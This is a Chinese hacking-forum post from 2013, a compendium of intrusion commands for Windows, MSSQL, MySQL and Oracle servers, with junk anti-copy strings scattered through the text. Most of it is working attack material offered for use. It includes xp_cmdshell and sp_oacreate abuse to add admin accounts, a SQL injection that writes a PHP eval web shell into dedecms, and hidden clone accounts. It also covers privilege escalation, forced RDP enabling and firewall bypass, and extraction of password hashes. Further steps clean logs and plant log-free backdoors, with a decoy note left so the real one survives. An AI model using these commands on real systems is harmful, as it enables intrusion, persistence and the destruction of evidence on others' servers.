找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 5093|回复: 0
打印 上一主题 下一主题

渗透技术大全

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-27 21:24:42 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
! l+ ^- G9 x5 |+ A
1.net user administrator /passwordreq:no" u# r2 {1 Y9 I" V; C0 C- K
这句的意思是"administrator帐号不需要密码",如果可以成功执行的话,3389登陆时administrator的密码就可以留空,直接登陆了,然后进去后再net user administrator /passwordreq:yes恢复就可以了
* J- @( D; e3 I- K  U! ~8 f; r* b2.比较巧妙的建克隆号的步骤. ]3 h# b2 R5 v; ^, v  R
先建一个user的用户
; W7 i, I( P* D: k6 Z" h+ K' [然后导出注册表。然后在计算机管理里删掉% X9 H9 _0 h! r# O- J2 h
在导入,在添加为管理员组5 {% d% ~" G" w5 N& j* V* \  G6 p
3.查radmin密码
3 f. ^2 H8 t1 w% o" \reg save HKEY_LOCAL_MACHINE\SYSTEM\RAdmin c:\a.reg
' ~0 X- A+ n* I4 n( V; S) I4.[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Window NT\CurrentVersion\Image File execution options]+ {4 G* Q+ e. ~& m7 D$ O$ H7 K
建立一个"services.exe"的项' a  a0 d/ V: Q9 r( k
再在其下面建立(字符串值)
+ R4 C- c& u2 d5 p- q键值为mu ma的全路径
! U. X- C; h1 \5.runas /user:guest cmd
! @6 \1 O, d1 Q测试用户权限!
# v- `; A9 q4 _+ v; q' G6.、 tlntadmn config sec = -ntlm    exec master.dbo.xp_cmdshell \'tlntadmn config sec = -ntlm\'--   其实是利用了tlntadmn这个命令。想要详细了解,输入/?看看吧。(这个是需要管理员权限的哦)建立相同用户通过ntml验证就不必我说了吧?
& S7 C! Y$ n* k; @( L" j: L7 A7.入侵后漏洞修补、痕迹清理,后门置放:
4 W8 S1 c4 I+ E& @4 T$ |基础漏洞必须修补,如SU提权,SA注入等。DBO注入可以考虑干掉xp_treelist,xp_regread自行记得web目录;你一定要记得清理痕迹~sqlserver连接使用企业管理器连接较好,使用查询分析器会留下记录,位于HKEY_CURRENT_USER\Software \Microsoft\Microsoft SQL Server\80\Tools\Client\PrefServers。删除之;IISlog的清除可不要使用AIO类的工具直接完全删除日志~可以选择logcleaner类工具只删除指定IP的访问记录,如果你能gina到管理员密码则通过登陆他清理日志并通过WYWZ进行最后的痕迹清理。话说回来手动清理会比较安全。最后留下一个无日志记录的后门。一句话后门数个,标准后门,cfm后门我一般都不会少。要修改时间的哦~还有一招比较狠滴,如果这个机器只是台普通的肉鸡,放个TXT到管理员桌面吧~提醒他你入侵了,放置了某个后门,添加了某个用户~(当然不是你真正滴重要后门~)要他清理掉。这样你有很大的可能性得以保留你的真实后门  S; A; [% q7 j8 ~0 F6 F
8.declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c
8 t1 p/ z  _" n* r5 u) C- S. z+ ^! s$ k5 ]7 F* o$ l& A: A4 ?, ~9 `
for example1 p1 M5 T" v7 t3 @; G% |
! ]+ ]  B5 b$ M& Y4 g2 \. K7 s
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user aptime aptime /add'
* X$ A  P; S9 ]
8 q+ N8 I" k4 i% L+ Edeclare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrator aptime /add'
& n/ ?+ Q) {7 s6 x2 P8 h7 x  A: K2 u4 r
9:MSSQL SERVER 2005默认把xpcmdshell 给ON了
! s# X( t0 e9 p: z( i) Y如果要启用的话就必须把他加到高级用户模式
9 E$ t) g+ Z$ c. ^  q可以直接在注入点那里直接注入2 k5 {! B* M+ }+ x' F- E0 F
id=5;EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;--$ b. ?5 G9 }. s
然后;dbcc addextendedproc("xp_cmdshell","xplog70.dll");--
! w% s) [& g# I+ Q2 a7 Y或者2 g' v1 D$ O- T( F- p8 K( k
sp_addextendedproc xp_cmdshell,@dllname='xplog70.dll'
7 v4 y+ V9 b; x" ?8 d$ _来恢复cmdshell。
3 W: P- g* L/ `. J* {: ?6 q; H1 G% f7 q# T; b$ B
分析器
; x- i8 I6 v' h% y# UEXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;--
, e$ {) F2 N8 t& ^+ x  ]: N然后;dbcc addextendedproc("xp_cmdshell","xplog70.dll")
6 n6 b- r7 J) c& O10.xp_cmdshell新的恢复办法
) \2 @/ g1 G& F: H1 @xp_cmdshell新的恢复办法7 C8 @( B8 T( u) q: L' |1 W0 W3 U
扩展储存过程被删除以后可以有很简单的办法恢复:$ T1 n, G1 A/ N$ |  N  L. Y" z
删除% Y5 A/ G: W4 G' x& w
drop procedure sp_addextendedproc. ?& E1 _3 G+ h. {
drop procedure sp_oacreate# a% W3 L+ d! [3 @/ C" i
exec sp_dropextendedproc 'xp_cmdshell'. x+ c; E6 O3 O+ I0 _# [
6 c8 s1 N$ C, r
恢复8 `  ^3 e( O6 i2 M: w8 `# d
dbcc addextendedproc ("sp_oacreate","odsole70.dll")
# U0 A: e  U7 @, _" C2 ]" m' j; ]dbcc addextendedproc ("xp_cmdshell","xplog70.dll")0 n/ j( r8 O) s: M( K( G

0 ?/ B7 s! s9 g# @  X; ^, y$ a. r8 r这样可以直接恢复,不用去管sp_addextendedproc是不是存在! f1 _4 s: O5 t! V5 m
/ j+ t% K/ {  ~) Q7 G7 z+ f7 r- [
-----------------------------
, n4 b" s  K4 J) }. e4 w9 `4 B) v2 c  C1 @# q
删除扩展存储过过程xp_cmdshell的语句:
: R* p  q# A9 w0 S5 K7 Gexec sp_dropextendedproc 'xp_cmdshell'
" b( w, p: H' Y3 o! n6 Q( O6 Q( Y
5 G4 R. e/ G! p1 D* I/ [- ~5 h恢复cmdshell的sql语句' l/ E3 Z$ R! x" x# `
exec sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'
, ~  z- Q" m7 {' A: T" }) Q  d0 h$ V* W" \0 |

8 l+ C: p* I8 f# S& ]. X; j; m开启cmdshell的sql语句; e3 _9 R- m3 E/ j1 }5 }
) a2 l, v# b& o8 E2 V0 c
exec sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'1 M( u) W1 _; g" k

$ m' p4 w( H3 s1 f+ n. P1 k判断存储扩展是否存在
6 d: {/ R  a( `8 b- Nselect count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell'* ^! E9 y0 X5 s3 J6 @
返回结果为1就ok
( c6 Q. a& ?3 E0 `/ W8 x7 `( ~9 E: R
恢复xp_cmdshell" f, _6 t1 c7 y3 O" V
exec master.dbo.addextendedproc 'xp_cmdshell','xplog70.dll';select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell'
& \  K9 H# Z% u. v$ q! }' V返回结果为1就ok
' x) z# B) G5 ~7 L; G9 I. N
$ f  e* @" `- B: w2 f. c否则上传xplog7.0.dll) j- L# f) \( G4 J
exec master.dbo.addextendedproc 'xp_cmdshell','c:\winnt\system32\xplog70.dll'0 B- _* l2 a/ K. C) C: P
) Q2 h& H8 E" S0 A6 G  {
堵上cmdshell的sql语句
  ~7 O( e# c# t. R7 ?sp_dropextendedproc "xp_cmdshel
  U1 G, c+ `" z$ S. W1 y2 ?-------------------------" y7 w: f1 P8 ~! ^+ Y1 @0 e
清除3389的登录记录用一条系统自带的命令:8 j: ]6 h$ U. [: d
reg delete "hkcu\Software\Microsoft\Terminal Server Client"  /f
9 O) ?4 G/ V: x5 W
6 {2 |9 |7 G$ n然后删除当前帐户的 My Documents 文件夹下的 Default.rdp 文件
% R; M! |& X8 a在 mysql里查看当前用户的权限/ R: {3 t: _. b+ `; a% d2 J8 C
show grants for  + F* v4 L0 }: Z

) `1 U8 C& I% H+ j0 ]5 P以下语句具有和ROOT用户一样的权限。大家在拿站时应该碰到过。root用户的mysql,只可以本地连,对外拒绝连接。以下方法可以帮助你解决这个问题了,下面的语句功能是,建立一个用户为itpro 密码123 权限为和root一样。允许任意主机连接。这样你可以方便进行在本地远程操作数据库了。
' g3 O$ F( }7 D" s4 W
8 O% g+ N) s1 m6 D: U1 `( z
/ T) l' l, g0 ]Create USER 'itpro'@'%' IDENTIFIED BY '123';
  u; ^9 d: Q: @# g+ M" k
. @' X" k6 }6 t( B: O0 `' w3 oGRANT ALL PRIVILEGES ON *.* TO 'itpro'@'%' IDENTIFIED BY '123'WITH GRANT OPTION
2 g6 \$ J5 [3 ~9 h) `- r( @7 p0 D) m6 z$ Q1 P2 |
MAX_QUERIES_PER_HOUR 0 MAX_CONNECTIONS_PER_HOUR 0
' [' k3 [" U; B" ?, n* R
- k* Z( @/ g* Q( e$ V8 z5 ~MAX_UpdateS_PER_HOUR 0 MAX_USER_CONNECTIONS 0;
% g" a: |/ G9 I  w& g$ t* h. i0 f) ~% \4 E" X
搞完事记得删除脚印哟。
0 t" \, E, S4 S
; l- p! a1 Z3 Z, @2 [Drop USER 'itpro'@'%';
  W# l5 M5 E- `
. p8 e/ m5 I8 w  ~$ xDrop DATABASE IF EXISTS `itpro` ;
' p7 g* w$ d7 f7 s# G7 l2 s8 H( |
: m" U. U5 q; H; s8 G+ N$ C' n当前用户获取system权限# d; ]1 u: \; c: }/ I
sc Create SuperCMD binPath= "cmd /K start" type= own type= interact$ a1 W  D; }: J. }: _  N- ]1 K
sc start SuperCMD( T2 `# A: t' J# \" x! K3 ^! ^
程序代码
; |9 \: j' P' q  A3 `<SCRIPT LANGUAGE="VBScript">6 g6 K  H+ |& t+ o1 L+ Y
set wsnetwork=CreateObject("WSCRIPT.NETWORK")
+ H+ e8 W0 q; V& S0 a, r; tos="WinNT://"&wsnetwork.ComputerName/ w* d* J: N: v% x4 t0 w: H! y
Set ob=GetObject(os)0 u# T4 P3 ~9 p# X
Set oe=GetObject(os&"/Administrators,group")7 P* H& D7 D3 x
Set od=ob.Create("user","nosec")0 h4 r1 F2 @$ I
od.SetPassword "123456abc!@#"
) q; p1 X, {) Pod.SetInfo% {) V* L, V! X1 ?  B9 D( B- F$ Y6 f
Set of=GetObject(os&"/nosec",user)
) C9 N  Z) y) `9 C9 C% c$ voe.add os&"/nosec"$ U1 {4 M( ]# \% g; l
</Script>& B+ {% g: T4 T( ?
<script language=javascript>window.close();</script>$ A* p9 s% v$ c2 y# F. Y6 r

5 _  j- R* E3 u$ V4 Z( P* \/ s, Q8 ]* y: @* q- e% ]. Z
7 U) _# I4 i* e8 G& ?

/ t  J- e' F# U0 Y' e突破验证码限制入后台拿shell
; H2 [2 V" ~& ^' s7 |程序代码. t7 d- Q! m3 @  i$ E" T
REGEDIT4
. G6 {" Q% q+ e2 f3 l. G; y2 s9 G" Q[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\Security]
6 e3 D- a) C6 H"BlockXBM"=dword:000000002 K; [; `* T- `  v0 K5 ]. ^) D
! u9 m' ]: h$ f: c
保存为code.reg,导入注册表,重器IE( }6 j! W5 g' R, o  E+ w5 e
就可以了  g2 ]2 x! D8 Z/ S& Y0 V
union写马# Y! P4 e; F. Y3 H- H4 X. u4 J) S
程序代码
3 w. ^+ I* q4 c3 ~( O) e8 \1 zwww.baidu.com/plus/infosearch.php?action=search&q=%cf'%20union%20select%201,2,3,4,'<?php%20eval($_POST[cmd])?>',6+into+outfile+'D:\\wwwroot\\duizhang.php'+/*
/ i/ x' f  g+ H% w6 C; _4 F3 X/ e# r& g% g  n
应用在dedecms注射漏洞上,无后台写马* }$ w, G1 _2 X: r* e0 W3 G
dedecms后台,无文件管理器,没有outfile权限的时候' i5 t. h$ U, r6 p; Z. ^
在插件管理-病毒扫描里
+ S' j6 O+ d2 i# w8 f写一句话进include/config_hand.php里
  G2 R1 e, I) R/ N# g! j  @程序代码' G- P* C! c" ~2 _* J: [
>';?><?php @eval($_POST[cmd]);?>5 c: c( ~& f: R, D
9 ~: p$ H( u9 _# x, @: e
' z5 n& P& ^' Y  h; ~  G% G
如上格式
6 B3 A! [7 C: V  P" P; N9 Z9 l1 O! T
oracle中用低权限用户登陆后可执行如下语句查询sys等用户hash然后用cain破解+ S9 p9 N; w& d4 d3 k; u( s
程序代码
% z6 J5 E& C" N5 M) r6 a1 Lselect username,password from dba_users;% F' I' y( K5 N2 ~" k" M3 M5 X

: y( k* M. T1 e- T, \
. R, I( x/ X% W1 U: x! gmysql远程连接用户
, @/ \8 ?) n/ d. Z; _程序代码* F! a  F: C! h4 b
" j+ v* r7 m* ]7 w, R5 d
Create USER 'nosec'@'%' IDENTIFIED BY 'fuckme';
; {4 Q$ S& S. b: dGRANT ALL PRIVILEGES ON *.* TO 'nosec'@'%' IDENTIFIED BY 'fuckme' WITH GRANT OPTION
; s8 k) ^: e" Z3 _% F4 \MAX_QUERIES_PER_HOUR 0 MAX_CONNECTIONS_PER_HOUR 0
* `3 H0 ~  H; l8 H4 m, h( K0 mMAX_UpdateS_PER_HOUR 0 MAX_USER_CONNECTIONS 0;
1 [- k0 n: r; |+ f  {6 ^) ^$ C5 C. y

; t& u, s6 A( k$ M5 v9 t* R
- h& r# T* k' c5 ~7 m; A" e( G5 t6 S+ [& u0 R8 F8 l+ N. H
echo y |reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0
' O/ G3 e% k+ E) N
' r+ r( J1 a  q( D8 }. {1.查询终端端口$ p* H4 c# W1 V
( O5 c" k/ b, E8 A
xp&2003:REG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber
2 ?4 y( B2 W6 _9 m5 a/ m. B* t; O- \! x" T
通用:regedit /e tsp.reg "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal server\Wds\rdpwd\Tds\tcp"
. I; _* w5 T% Ttype tsp.reg
2 Y9 Q  O% L7 S5 g/ ^
; L2 r' p0 c) I5 D; K2.开启XP&2003终端服务
% U; ^9 ?! }! h& v: C+ E
; d' F1 }$ Y% ?: l5 ^; p  d$ w4 @, i# x
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f
$ b/ r- i3 d% X" X
. N& x+ H, ]# e  m0 k- W$ j1 j6 o# y0 _. H; X
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f0 P, T0 o6 ^; y4 e$ [3 f3 L

8 b$ x, r$ y0 d. X! _3.更改终端端口为20008(0x4E28)8 h: R2 `7 _/ s, c, R

, E6 X! `$ |0 N8 l. yREG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\Wds\rdpwd\Tds\tcp /v PortNumber /t REG_DWORD /d 0x4E28 /f
8 ?5 I" r" a; F$ @7 v
. O$ }0 T( X, @$ l. R0 K* s+ IREG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber /t REG_DWORD /d 0x4E28 /f1 A* z, J4 L' L& L) c& n( s' v
; O4 b# W# U! m. {0 ~% m
4.取消xp&2003系统防火墙对终端服务3389端口的限制及IP连接的限制
: x6 l. E. s6 G( `, F. E9 N% f
REG ADD HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\GloballyOpenPorts\List /v 3389:TCP /t REG_SZ /d 3389:TCP:*:Enabledxpsp2res.dll,-22009 /f
& s2 Y6 M+ h1 [( y0 S8 R. M
) Q4 v6 i% w+ f- \7 e8 V; r" n( z6 b; i4 P8 h
5.开启Win2000的终端,端口为3389(需重启)' E* t% H; @* K

+ F' f  ?& {- v* h- R; K2 b- m) Recho Windows Registry Editor Version 5.00 >2000.reg ) r( m1 k) ?- `
echo. >>2000.reg  N# w! ]( I4 V/ t" L
echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\netcache] >>2000.reg $ g! B1 |! g3 L- s0 j8 \
echo "Enabled"="0" >>2000.reg
' V" M& k) r4 A( g% ?% Qecho [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon] >>2000.reg
$ Z1 _+ z: ], w$ v0 |echo "ShutdownWithoutLogon"="0" >>2000.reg
) _3 \9 s, [8 a1 }echo [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer] >>2000.reg
6 h: u% t, L: W$ P! i, ~echo "EnableAdminTSRemote"=dword:00000001 >>2000.reg & s9 Z, [7 w, v; ]$ g
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server] >>2000.reg
1 O( B9 d) \2 g4 ?- N, Kecho "TSEnabled"=dword:00000001 >>2000.reg
5 l$ j- F0 h: ^9 yecho [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermDD] >>2000.reg
" `9 J3 N0 y1 X; A% Decho "Start"=dword:00000002 >>2000.reg % E; m+ _  C0 ?
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermService] >>2000.reg ' E4 I" w4 P+ F1 T
echo "Start"=dword:00000002 >>2000.reg 5 E/ g5 D  {' z4 }. g+ x
echo [HKEY_USERS\.DEFAULT\Keyboard Layout\Toggle] >>2000.reg   a9 A/ c: b$ g, B! |' |
echo "Hotkey"="1" >>2000.reg 4 V5 S! s% W: s# O5 W7 i+ i
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp] >>2000.reg
# d; A; ~6 x: w$ `1 r+ vecho "ortNumber"=dword:00000D3D >>2000.reg
; T" J8 W6 k& H/ T; p1 B% J/ Necho [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp] >>2000.reg ) k$ ^3 J4 x7 y1 f/ K# c7 M# \
echo "ortNumber"=dword:00000D3D >>2000.reg' {% h1 u, T2 B4 v) o$ r4 g( }

3 Q7 X/ H9 d2 V; @6.强行重启Win2000&Win2003系统(执行完最后一条一句后自动重启)
! ]( ]$ M8 P5 ^/ k( R
' X. X" g- a$ ?' ~: _. E7 q! y4 l( Q@ECHO OFF & cd/d %temp% & echo [version] > restart.inf0 u' W& ]3 S( G* U
(set inf=InstallHinfSection DefaultInstall)
3 U) j) _/ O3 \/ l( _2 ^+ w2 Cecho signature=$chicago$ >> restart.inf) p8 D8 ]& L4 j5 a
echo [defaultinstall] >> restart.inf
+ E& B( H1 t! e+ k6 }5 F( G" drundll32 setupapi,%inf% 1 %temp%\restart.inf3 E% M  y1 t  l* y8 S0 H
# I3 x5 t: e8 @  P! U. y
0 ^1 ]' P1 B! J6 r9 _& r
7.禁用TCP/IP端口筛选 (需重启)7 l  B/ Q/ i9 C  V4 t. }+ z& F3 Y
! q6 b, g: {" l3 I# D- R
REG ADD HKLM\SYSTEM\ControlSet001\Services\Tcpip\parameters /v EnableSecurityFilters /t REG_DWORD /d 0 /f! g* K+ K4 d9 L, h1 e

$ v4 f3 U& Z( `8.终端超出最大连接数时可用下面的命令来连接5 o* ]9 O' m( H
$ ^+ t7 H7 @# E# j8 y1 W
mstsc /v:ip:3389 /console$ \1 C9 M9 M$ z  k9 B7 j# Q/ m
5 u) j/ C, S) ?  o8 ~6 d
9.调整NTFS分区权限- G' B  ?- k6 M- w! n" E

. M( a$ j2 Z9 w8 Y" x, M; ycacls c: /e /t /g everyone:F (所有人对c盘都有一切权利)
1 \# O2 i# J: G9 ]% n$ Z! L, Z4 Z# E. r0 S( B
cacls %systemroot%\system32\*.exe /d everyone (拒绝所有人访问system32中exe文件)( j: k! h8 j2 H# a! m. a8 w' x

  e: o2 e# n" n7 A' i# P* Q------------------------------------------------------
: x2 }: L3 j4 n/ H5 g8 P' C3389.vbs
: u9 M8 T* K% Y# e4 h+ F' N$ WOn Error Resume Next
: {: w  B2 i  z3 A1 {const HKEY_LOCAL_MACHINE = &H80000002! w( ?3 Y) g9 V6 u
strComputer = "."
5 l. w2 E" ?; i$ f* n8 ASet StdOut = WScript.StdOut  f' m. h: J3 \3 @0 L
Set oreg=GetObject("winmgmts:{impersonationLevel=impersonate}!\\" &_
& U% y0 @; S1 N1 BstrComputer & "\root\default:StdRegProv"); N$ E$ j2 {; j. K: o1 x" A
strKeyPath = "SYSTEM\CurrentControlSet\Control\Terminal Server"' ^! C3 y; T+ N9 O( {- C
oreg.CreateKey HKEY_LOCAL_MACHINE,strKeyPath) S+ z  m5 o# G; @2 Y" U' X* w
strKeyPath = "SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp"
7 {# ?( y7 z; C! ~* roreg.CreateKey HKEY_LOCAL_MACHINE,strKeyPath
2 {8 ~0 x# t0 E8 ^' g4 @) Z( QstrKeyPath = "SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp"
! b" x; Q+ L/ w% CstrKeyPath = "SYSTEM\CurrentControlSet\Control\Terminal Server"
0 g" K4 d8 S" x# vstrValueName = "fDenyTSConnections"% V% q6 y/ W6 {5 j7 |2 x- s9 |
dwValue = 0
9 Y+ v6 \! B0 x! Roreg.SetDWORDValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,dwValue6 W- c1 R! ~5 D5 n# A4 P' ~. L. i
strKeyPath = "SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp"
* g+ P/ ~" D3 t- C1 s" A8 |" Q( Y# wstrValueName = "ortNumber"4 q4 J+ M  p$ W: K
dwValue = 33896 ~; a5 x; b$ [/ o& q3 w
oreg.SetDWORDValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,dwValue& V8 @& [5 K( a! f
strKeyPath = "SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp"
0 E) W" B' L3 n8 M* t0 F2 |strValueName = "ortNumber"+ y1 j$ [. |% }9 @$ e
dwValue = 3389* M; d8 K, u* r' W  X: [
oreg.SetDWORDValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,dwValue
0 [( T7 ]7 G; \' ESet R = CreateObject("WScript.Shell")
. [0 K' t, w7 f4 HR.run("Shutdown.exe -f -r -t 0")
$ n+ j6 d9 }  e/ |! d0 B8 n6 m+ v1 f* ]* Q% J' Z
删除awgina.dll的注册表键值
  v0 Q& z) I6 t程序代码
% s5 e) a+ S. u6 ]( b: y& d; `
- J2 l% P7 {, L' u) n$ n1 [7 Wreg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v GinaDLL /f" U' W/ d5 A% d( L& S  e1 ?$ J
5 ]% I$ {! Q$ Z/ @( S  ?
$ {2 X. U0 \' R9 j

( N1 y) R. \- V# L6 k$ j( {. F, |/ }( J
程序代码! H& T8 a1 n' H/ j
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\NoLMHash3 A, y: J4 K* v6 z4 o

( @; ~# r4 E4 s2 s; Z% ~设置为1,关闭LM Hash
5 D0 a3 x- X' x
  b  e$ d' W, c/ y' s) i* r) s  `数据库安全:入侵Oracle数据库常用操作命令
% S% M* T, N4 l7 e0 N, k- V5 K最近遇到一个使用了Oracle数据库的服务器,在狂学Oracle+请教高手后终于搞到了网站后台管理界面的所有用户密码。我发现Oracle操作起来真是太麻烦,为了兄弟们以后少走些弯路,我把入侵当中必需的命令整理出来。5 N# b# }; {9 Y1 R
1、su – oracle 不是必需,适合于没有DBA密码时使用,可以不用密码来进入sqlplus界面。5 z) _, U$ k# w, T# n
2、sqlplus /nolog 或sqlplus system/manager 或./sqlplus system/manager@ora9i;
* I+ I, a2 x3 V0 h# h# B3、SQL>connect / as sysdba ;(as sysoper)或
- m0 T8 d& J1 f1 N& [) `1 _" S( z9 Kconnect internal/oracle AS SYSDBA ;(scott/tiger)
6 h- n( f* q5 a/ o  j( xconn sys/change_on_install as sysdba;( Y/ `0 C$ W% L, O; W; D: N1 e
4、SQL>startup; 启动数据库实例* p9 k+ b0 f7 w( e* J# N4 M2 o
5、查看当前的所有数据库: select * from v$database;# t6 o( ]/ s  R# M7 M$ S
select name from v$database;
/ a7 r) D1 m# ~6 v$ R4 }% o: ~6、desc v$databases; 查看数据库结构字段
" U0 t& R: g2 [% y" v/ a6 j7、怎样查看哪些用户拥有SYSDBA、SYSOPER权限:
) G- j3 _$ T0 @1 q" W6 E' GSQL>select * from V_$PWFILE_USERS;
8 J2 ?- h: J- d3 o# z7 J- zShow user;查看当前数据库连接用户
* B1 T& |' G) G& h, @  U: R8、进入test数据库:database test;
. F8 b: A* @- G9、查看所有的数据库实例:select * from v$instance;
4 O: j- {$ d8 K# T9 k" f如:ora9i% i6 M5 H% u+ S5 ~5 u' z5 I
10、查看当前库的所有数据表:
- w$ O. Z1 b8 a1 k+ mSQL> select TABLE_NAME from all_tables;, K7 D: H5 z0 ]0 V& j) U
select * from all_tables;
! [3 t0 H! @1 q: `( dSQL> select table_name from all_tables where table_name like '%u%';
7 x5 j7 r/ a$ t- s" t( b! cTABLE_NAME
" l+ e% j+ a! S0 H------------------------------
+ j3 Q" ?" t5 Q_default_auditing_options_& S3 r( Y/ R6 y" y3 h3 p/ t
11、查看表结构:desc all_tables;& K+ F9 d& x* M5 d
12、显示CQI.T_BBS_XUSER的所有字段结构:" p% d. q; z' v" R; w; C2 d: h5 |
desc CQI.T_BBS_XUSER;$ @! E9 J! V0 t; W9 Y& h8 w
13、获得CQI.T_BBS_XUSER表中的记录:
6 I2 w' ~! X6 Aselect * from CQI.T_BBS_XUSER;
+ t! Q0 A; n. y5 N& D9 v14、增加数据库用户:(test11/test)
+ k0 x5 f5 j( w; J6 |create user test11 identified by test default tablespace users Temporary TABLESPACE Temp;, I( ?) M' h+ V+ G- ]5 {6 Y- e, n
15、用户授权:4 ^3 i3 S3 r- s( ]
grant connect,resource,dba to test11;& I- b; ]+ \! \  w
grant sysdba to test11;, d  w7 a. E$ x, n# \5 O
commit;/ Z. P  Z2 l' ~! ^) V* g
16、更改数据库用户的密码:(将sys与system的密码改为test.)
& q6 i& d4 t3 y" w! L$ ~alter user sys indentified by test;5 L; ^; [  [8 Z
alter user system indentified by test;
0 n( ~9 O; S3 U: d& j$ h
. [4 k2 v  }" eapplicationContext-util.xml
7 e9 d2 u7 ~# z: SapplicationContext.xml
1 f9 T/ Y3 N0 `4 T0 a7 P% Istruts-config.xml( K( ]+ t2 M' \( U; @% A6 U8 S. q
web.xml
2 g* M+ R( e1 ]1 N; |( j) z& Tserver.xml
! H  t  A" |# Itomcat-users.xml3 m9 n* a6 @8 D0 T8 ~* m
hibernate.cfg.xml) z; K/ c- r8 f3 t8 H/ q, I/ T
database_pool_config.xml
( f! g! [; Z9 g; S. Q5 h/ e( s* I2 }' Y5 F+ D
3 m8 B2 J" `! W! f5 }; r
\WEB-INF\classes\hibernate.cfg.xml 数据库连接配置
, n$ ?2 d' w0 t, F\WEB-INF\server.xml         类似http.conf+mysql.ini+php.ini! z3 j1 E, v% Y  A
\WEB-INF\struts-config.xml  文件目录结构1 N$ h( a- F) `9 g0 D

4 _% `% {4 @6 @. B. q/ B  ospring.properties 里边包含hibernate.cfg.xml的名称- U! A+ a9 d- e1 X" T: p  N
* `- l  T+ \6 a
! ?) w# a* [; _2 h  y
C:\Program Files\Apache Software Foundation\Tomcat 5.5\conf\tomcat-users.xml
! i8 [% u: f3 Z9 K' ~9 f: Y
2 J- I* b/ M% }2 ?+ J" y8 K1 ]如果都找不到  那就看看class文件吧。。
" i5 @- h7 T8 v5 K
% x" }5 l: C6 b( Q5 H9 a& P测试1:4 A% [" ^; f8 n: L" H9 g
SELECT top 1 name=STUFF((SELECT ','+[name] FROM sysobjects t  where xtype='U' FOR XML PATH('')), 1, 1, '') FROM sysobjects t1' j$ Z6 T4 l& y& d" Y

9 p8 r1 c) l; O; D) c测试2:; `) Y8 |1 g$ S

5 h" e$ r/ H* x5 ecreate table dirs(paths varchar(100),paths1 varchar(100), id int)
5 V+ i5 h+ E' I  }+ y
8 O! P# j: w  Cdelete dirs;insert dirs exec master.dbo.xp_dirtree 'c:\',1,1--
' [5 T3 K. I9 S3 K# g+ @& x! \0 K4 [
SELECT top 1 paths=STUFF((SELECT ','+[paths] FROM dirs FOR XML PATH('')), 1, 1, '') FROM dirs t1, W( l' o% `. ~, s
& X% q7 G/ S" u  q3 f5 W' y
查看虚拟机中的共享文件:
9 N+ z2 F/ ?+ D+ M3 h在虚拟机中的cmd中执行
8 x! w9 A, j8 n' X" F7 a+ _" a1 m\\.host\Shared Folders
4 G1 Y8 p$ I$ E  N8 C' E5 L4 S
- \* \5 b; z8 E) vcmdshell下找终端的技巧
- E; ^( Y9 f" v8 b6 z找终端:
5 x& L' ~, u' M$ [第一步: Tasklist/SVC 列出所有进程,系统服务及其对应的PID值! 5 S* l& |0 W3 [7 }
   而终端所对应的服务名为:TermService
1 ?& G( J$ s- O第二步:用netstat -ano命令,列出所有端口对应的PID值! - q( L; J" O5 p8 F& g4 x
   找到PID值所对应的端口# `. T: \5 j: \6 D/ |* o

4 O4 m  O1 u# W; p查询sql server 2005中的密码hash
) h6 i# O3 A1 r: _0 ]SELECT password_hash FROM sys.sql_logins where name='sa'' I0 K/ x- k' _
